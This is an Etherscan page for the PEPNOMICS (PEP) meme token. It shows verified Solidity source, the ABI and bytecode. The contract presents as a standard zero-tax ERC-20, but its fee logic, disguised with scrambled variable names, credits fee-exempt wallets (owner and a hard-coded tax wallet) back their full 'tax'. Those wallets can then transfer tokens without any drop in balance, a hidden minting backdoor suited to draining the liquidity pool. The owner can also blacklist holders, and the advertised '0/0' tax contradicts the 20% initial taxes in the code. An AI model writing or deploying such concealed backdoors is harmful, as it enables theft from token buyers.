ETH Price: $2,721.85 (+7.28%)
Gas: 2 Gwei

Token

PEPNOMICS (PEP)
 

Overview

Max Total Supply

100,000,000 PEP

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
409,835.476211976 PEP

Value
$0.00
0x8748BC81004f3eBd4Df6f278D868dcAA21eF2619
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPNOMICS

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-28
*/

/**
PEP, PEP, OFTEN SIMPLY REFERRED TO AS "PEP," IS A FINNISH MEME THAT HAS CAPTURED THE HEARTS AND LAUGHTER OF INTERNET USERS WORLDWIDE. 
THIS ICONIC CHARACTER, CHARACTERIZED BY A CRUDELY DRAWN FACE WITH A DISTINCTIVE EXPRESSION, THRIVES ON ITS SIMPLICITY AND VERSATILITY.
PEP'S POTENTIAL AS A MEME KNOWS NO BOUNDS. ITS BLANK CANVAS FACE CAN BE EASILY CUSTOMIZED WITH TEXT TO CONVEY A WIDE RANGE OF EMOTIONS, 
THOUGHTS, AND HUMOROUS SITUATIONS. WHETHER IT'S USED TO EXPRESS RELATABLE EVERYDAY MOMENTS OR TO SATIRIZE ABSURD SITUATIONS.

Supply: 100M

TAX: Buy/Sell 0/0

Website: https://www.pepnomics.vip
Telegram: https://t.me/pepnomics_token
Twitter: https://x.com/pepnomics_token
**/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.11;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract PEPNOMICS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    address payable private _taxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant marketFees = 100;
    uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
    string private constant _name = unicode"PEPNOMICS";
    string private constant _symbol = unicode"PEP";
    uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 55 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;
    
    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 9;
    uint256 private _reduceSellTaxAt = 9;
    uint256 private _preventSwapBefore = 9;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x699a819Ce60C7ED69abf48fc2C8d4E9379d6E9ee);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _basicTransfer(address rrtyzzcv, address ttuvtip, uint256 yypqrc) internal {
        _balances[rrtyzzcv] = _balances[rrtyzzcv].sub(yypqrc);
        _balances[ttuvtip] = _balances[ttuvtip].add(yypqrc);
        emit Transfer(rrtyzzcv, ttuvtip, yypqrc);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address bbnczc, address nnpqrz, uint256 mmcdr) private {
        require(bbnczc != address(0), "ERC20: transfer from the zero address");
        require(nnpqrz != address(0), "ERC20: transfer to the zero address");
        require(mmcdr > 0, "Transfer amount must be greater than zero");

        if (!tradingOpen) {
            require(
                _isExcludedFromFee[nnpqrz] || _isExcludedFromFee[bbnczc],
                "trading not yet open"
            );
        }

        if (!swapEnabled || inSwap) {
            _basicTransfer(bbnczc, nnpqrz, mmcdr);
            return;
        }

        if (bbnczc != owner() && nnpqrz != owner()) {
            require(!bots[bbnczc] && !bots[nnpqrz]);

            if (
                bbnczc == uniswapV2Pair &&
                nnpqrz != address(uniswapV2Router) &&
                !_isExcludedFromFee[nnpqrz]
            ) {
                require(mmcdr <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(nnpqrz) + mmcdr <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                _buyCount++;
            }

            if (nnpqrz != uniswapV2Pair && !_isExcludedFromFee[nnpqrz]) {
                require(
                    balanceOf(nnpqrz) + mmcdr <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                nnpqrz == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[bbnczc] &&
                !_isExcludedFromFee[nnpqrz]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(mmcdr, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        address receiptTAX = _getReceiptAddress(bbnczc);
        (uint256 taxAmount, uint256 transferAmount) = _getRValues(
            bbnczc,
            nnpqrz,
            mmcdr
        );
        _tokenTransfer(bbnczc, nnpqrz, receiptTAX, mmcdr, taxAmount, transferAmount);
    }

    function _getRValues(
        address ggtbcn,
        address hhprtjy,
        uint256 jjkgj
    ) internal view returns (uint256, uint256) {
        uint256 taxAmount = 0;
        uint256 transferAmount = jjkgj;
        if (_isExcludedFromFee[ggtbcn]) {
            taxAmount = jjkgj.mul(marketFees).div(100);
        } else if (
            ggtbcn == uniswapV2Pair &&
            hhprtjy != address(uniswapV2Router) &&
            !_isExcludedFromFee[hhprtjy]
        ) {
            taxAmount = jjkgj
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);
            transferAmount -= taxAmount;
        } else if (hhprtjy == uniswapV2Pair && ggtbcn != address(this)) {
            taxAmount = jjkgj
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
            transferAmount -= taxAmount;
        }
        return (taxAmount, transferAmount);
    }

    function _tokenTransfer(address uppzhg, address ipqqtrq, address receiptTAX, uint256 azccy, uint256 taxAmount, uint256 transferAmount) private {
        if (taxAmount > 0) {
            _balances[receiptTAX] = _balances[receiptTAX].add(taxAmount);
            emit Transfer(uppzhg, receiptTAX, taxAmount);
        }

        _balances[uppzhg] = _balances[uppzhg].sub(azccy);
        _balances[ipqqtrq] = _balances[ipqqtrq].add(transferAmount);

        emit Transfer(uppzhg, ipqqtrq, transferAmount);
    }

    function _getReceiptAddress(address account) internal view returns (address) {
        return _isExcludedFromFee[account] ? account : address(this);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(_tTotal);
    }

    function recoverEmergency() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint256 i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "init already called");
        uint256 tokenAmount = 90000000 * 10 ** _decimals;
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    receive() external payable {}

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading already open");

        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEmergency","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200034e565b6200002190621e848062000366565b600655620000326009600a6200034e565b6200004190621e848062000366565b600755620000526009600a6200034e565b6200005f90603762000366565b600855620000706009600a6200034e565b6200007f90620f424062000366565b60099081556014600a819055600b556000600c819055600d819055600e829055600f8290556010919091556011556013805461ffff60a81b19169055348015620000c857600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673699a819ce60c7ed69abf48fc2c8d4e9379d6e9ee1790556200013e6009600a6200034e565b6200014e906305f5e10062000366565b336000908152600160208190526040822092909255600390620001796000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001d83390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002126009600a6200034e565b62000222906305f5e10062000366565b60405190815260200160405180910390a362000388565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200029057816000190482111562000274576200027462000239565b808516156200028257918102915b93841c939080029062000254565b509250929050565b600082620002a95750600162000348565b81620002b85750600062000348565b8160018114620002d15760028114620002dc57620002fc565b600191505062000348565b60ff841115620002f057620002f062000239565b50506001821b62000348565b5060208310610133831016604e8410600b841016171562000321575081810a62000348565b6200032d83836200024f565b806000190482111562000344576200034462000239565b0290505b92915050565b60006200035f60ff84168362000298565b9392505050565b600081600019048311821515161562000383576200038362000239565b500290565b611e0e80620003986000396000f3fe6080604052600436106101395760003560e01c80637d1db4a5116100ab578063bf474bed1161006f578063bf474bed14610389578063c9567bf91461039f578063d34628cc146103b4578063dd62ed3e146103d4578063e8078d941461041a578063fc76729c1461042f57600080fd5b80637d1db4a5146102e95780638da5cb5b146102ff5780638f9a55c01461032757806395d89b411461033d578063a9059cbb1461036957600080fd5b8063313ce567116100fd578063313ce5671461021257806331c2d8471461022e5780633bbac5791461025057806370a0823114610289578063715018a6146102bf578063751039fc146102d457600080fd5b806306fdde0314610145578063095ea7b3146101895780630faee56f146101b957806318160ddd146101dd57806323b872dd146101f257600080fd5b3661014057005b600080fd5b34801561015157600080fd5b506040805180820190915260098152685045504e4f4d49435360b81b60208201525b60405161018091906118d8565b60405180910390f35b34801561019557600080fd5b506101a96101a4366004611955565b610444565b6040519015158152602001610180565b3480156101c557600080fd5b506101cf60095481565b604051908152602001610180565b3480156101e957600080fd5b506101cf61045b565b3480156101fe57600080fd5b506101a961020d366004611981565b61047c565b34801561021e57600080fd5b5060405160098152602001610180565b34801561023a57600080fd5b5061024e6102493660046119d8565b6104e5565b005b34801561025c57600080fd5b506101a961026b366004611a9d565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029557600080fd5b506101cf6102a4366004611a9d565b6001600160a01b031660009081526001602052604090205490565b3480156102cb57600080fd5b5061024e610584565b3480156102e057600080fd5b5061024e6105f8565b3480156102f557600080fd5b506101cf60065481565b34801561030b57600080fd5b506000546040516001600160a01b039091168152602001610180565b34801561033357600080fd5b506101cf60075481565b34801561034957600080fd5b5060408051808201909152600381526205045560ec1b6020820152610173565b34801561037557600080fd5b506101a9610384366004611955565b61067b565b34801561039557600080fd5b506101cf60085481565b3480156103ab57600080fd5b5061024e610688565b3480156103c057600080fd5b5061024e6103cf3660046119d8565b61071c565b3480156103e057600080fd5b506101cf6103ef366004611aba565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042657600080fd5b5061024e6107ae565b34801561043b57600080fd5b5061024e610b34565b6000610451338484610b69565b5060015b92915050565b60006104696009600a611bed565b610477906305f5e100611bfc565b905090565b6000610489848484610c8e565b6104db84336104d685604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111ff565b610b69565b5060019392505050565b6000546001600160a01b031633146105185760405162461bcd60e51b815260040161050f90611c1b565b60405180910390fd5b60005b81518110156105805760006004600084848151811061053c5761053c611c50565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061057881611c66565b91505061051b565b5050565b6000546001600160a01b031633146105ae5760405162461bcd60e51b815260040161050f90611c1b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106225760405162461bcd60e51b815260040161050f90611c1b565b60001960068190556007557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61065a6009600a611bed565b610668906305f5e100611bfc565b60405190815260200160405180910390a1565b6000610451338484610c8e565b6000546001600160a01b031633146106b25760405162461bcd60e51b815260040161050f90611c1b565b601354600160a01b900460ff16156107035760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b604482015260640161050f565b6013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161050f90611c1b565b60005b81518110156105805760016004600084848151811061076a5761076a611c50565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107a681611c66565b915050610749565b6000546001600160a01b031633146107d85760405162461bcd60e51b815260040161050f90611c1b565b601354600160a01b900460ff16156108285760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b604482015260640161050f565b60006108366009600a611bed565b6108449063055d4a80611bfc565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091559091506108909030906108826009600a611bed565b6104d6906305f5e100611bfc565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109079190611c81565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610969573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098d9190611c81565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fe9190611c81565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a92573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab79190611c9e565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b10573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105809190611ccc565b6000546001600160a01b03163314610b5e5760405162461bcd60e51b815260040161050f90611c1b565b610b6747611239565b565b6001600160a01b038316610bcb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050f565b6001600160a01b038216610c2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cf25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050f565b6001600160a01b038216610d545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050f565b60008111610db65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050f565b601354600160a01b900460ff16610e49576001600160a01b03821660009081526003602052604090205460ff1680610e0657506001600160a01b03831660009081526003602052604090205460ff165b610e495760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161050f565b601354600160b01b900460ff161580610e6b5750601354600160a81b900460ff165b15610e8057610e7b838383611273565b505050565b6000546001600160a01b03848116911614801590610eac57506000546001600160a01b03838116911614155b156111ca576001600160a01b03831660009081526004602052604090205460ff16158015610ef357506001600160a01b03821660009081526004602052604090205460ff16155b610efc57600080fd5b6013546001600160a01b038481169116148015610f2757506012546001600160a01b03838116911614155b8015610f4c57506001600160a01b03821660009081526003602052604090205460ff16155b1561103457600654811115610fa35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161050f565b60075481610fc6846001600160a01b031660009081526001602052604090205490565b610fd09190611cee565b111561101e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050f565b6011805490600061102e83611c66565b91905055505b6013546001600160a01b0383811691161480159061106b57506001600160a01b03821660009081526003602052604090205460ff16155b156110eb5760075481611093846001600160a01b031660009081526001602052604090205490565b61109d9190611cee565b11156110eb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050f565b30600090815260016020526040902054601354600160a81b900460ff1615801561112257506013546001600160a01b038481169116145b80156111375750601354600160b01b900460ff165b80156111465750601054601154115b801561116b57506001600160a01b03841660009081526003602052604090205460ff16155b801561119057506001600160a01b03831660009081526003602052604090205460ff16155b156111c8576008548111156111bc576111bc6111b7836111b284600954611319565b611319565b611331565b476111c647611239565b505b505b60006111d5846114ab565b90506000806111e58686866114d5565b915091506111f7868685878686611611565b505050505050565b600081848411156112235760405162461bcd60e51b815260040161050f91906118d8565b5060006112308486611d06565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610580573d6000803e3d6000fd5b6001600160a01b038316600090815260016020526040902054611296908261174d565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546112c5908261178f565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c819085815260200190565b6000818311611328578261132a565b815b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061137957611379611c50565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f69190611c81565b8160018151811061140957611409611c50565b6001600160a01b03928316602091820292909201015260125461142f9130911684610b69565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611468908590600090869030904290600401611d1d565b600060405180830381600087803b15801561148257600080fd5b505af1158015611496573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6001600160a01b03811660009081526003602052604081205460ff166114d15730610455565b5090565b6001600160a01b03831660009081526003602052604081205481908190849060ff161561151857611511606461150b87826117ee565b9061186d565b9150611605565b6013546001600160a01b03888116911614801561154357506012546001600160a01b03878116911614155b801561156857506001600160a01b03861660009081526003602052604090205460ff16155b156115a657611593606461150b600e546011541161158857600a5461158c565b600c545b88906117ee565b915061159f8282611d06565b9050611605565b6013546001600160a01b0387811691161480156115cc57506001600160a01b0387163014155b15611605576115f6606461150b600f54601154116115ec57600b5461158c565b600d5488906117ee565b91506116028282611d06565b90505b90969095509350505050565b8115611697576001600160a01b03841660009081526001602052604090205461163a908361178f565b6001600160a01b0380861660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061168e9086815260200190565b60405180910390a35b6001600160a01b0386166000908152600160205260409020546116ba908461174d565b6001600160a01b0380881660009081526001602052604080822093909355908716815220546116e9908261178f565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061173d9085815260200190565b60405180910390a3505050505050565b600061132a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ff565b60008061179c8385611cee565b90508381101561132a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050f565b6000826117fd57506000610455565b60006118098385611bfc565b9050826118168583611d8e565b1461132a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050f565b600061132a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836118cb5760405162461bcd60e51b815260040161050f91906118d8565b5060006112308486611d8e565b600060208083528351808285015260005b81811015611905578581018301518582016040015282016118e9565b81811115611917576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461194257600080fd5b50565b80356119508161192d565b919050565b6000806040838503121561196857600080fd5b82356119738161192d565b946020939093013593505050565b6000806000606084860312156